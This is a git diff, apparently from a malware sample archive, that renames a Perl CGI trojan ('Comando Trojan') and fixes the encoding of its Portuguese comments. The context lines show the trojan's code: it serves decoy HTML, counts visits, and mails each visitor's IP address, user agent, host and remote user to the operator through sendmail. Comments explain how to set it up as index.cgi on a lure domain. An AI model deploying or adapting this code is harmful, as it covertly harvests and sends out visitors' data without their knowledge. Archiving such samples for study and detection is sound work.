diff --git a/Perl/Trojan.Perl.InfoSpy b/Perl/Trojan.Perl.Comando.a
similarity index 85%
rename from Perl/Trojan.Perl.InfoSpy
rename to Perl/Trojan.Perl.Comando.a
index f0702538..4a0f3f03 100644
--- a/Perl/Trojan.Perl.InfoSpy
+++ b/Perl/Trojan.Perl.Comando.a
@@ -6,7 +6,7 @@
 #* |\_\\-\     /-//_/|                        *#
 #* |   \\-|   |-//   |                        *#
 #*  \ /~\\_____//~\ /                         *#
-#*   `   /     \   ´                          *#
+#*   `   /     \   ´                          *#
 #*      | () () |       Comando Trojan        *#
 #*       \  ^  /              -=-             *#
 #*        |||||    www.comandotrojan.cjb.net  *#
@@ -28,15 +28,15 @@ print "Content-type: text/html\n\n";
 $c = "contador.txt";
 #Nome do .txt log
 $mailprog = "/usr/sbin/sendmail -t"; 
-#Preste Atenção o real caminho do email no seu server
+#Preste Atenção o real caminho do email no seu server
 $emailadm = "seu_email\@seu_site.com.br;
 #Deixe o \ no email
 $vitima = "lamer_entrou@se_fudeu.com";
 #Deixe como estar
-#Lembrar de fazer um domínio tipo www.entrem.cjb.net e por index.cgi
+#Lembrar de fazer um domínio tipo www.entrem.cjb.net e por index.cgi
 
 print <<EOF;
- +++ Coloque aqui o html fictício para ser exibido +++
+ +++ Coloque aqui o html fictício para ser exibido +++
 EOF
 
 open (N, "$c");
@@ -57,4 +57,4 @@ close (NE);
                 print MAIL "$ENV{'REMOTE_ADDR'} \n $ENV{'HTTP_USER_AGENT'} \n  $ENV{'REMOTE_HOST'} \n $ENV{'REMOTE_USER'} $n\n\n ";
                 close MAIL;
 
-#FIM DO ARQUIVO
\ No newline at end of file
+#FIM DO ARQUIVO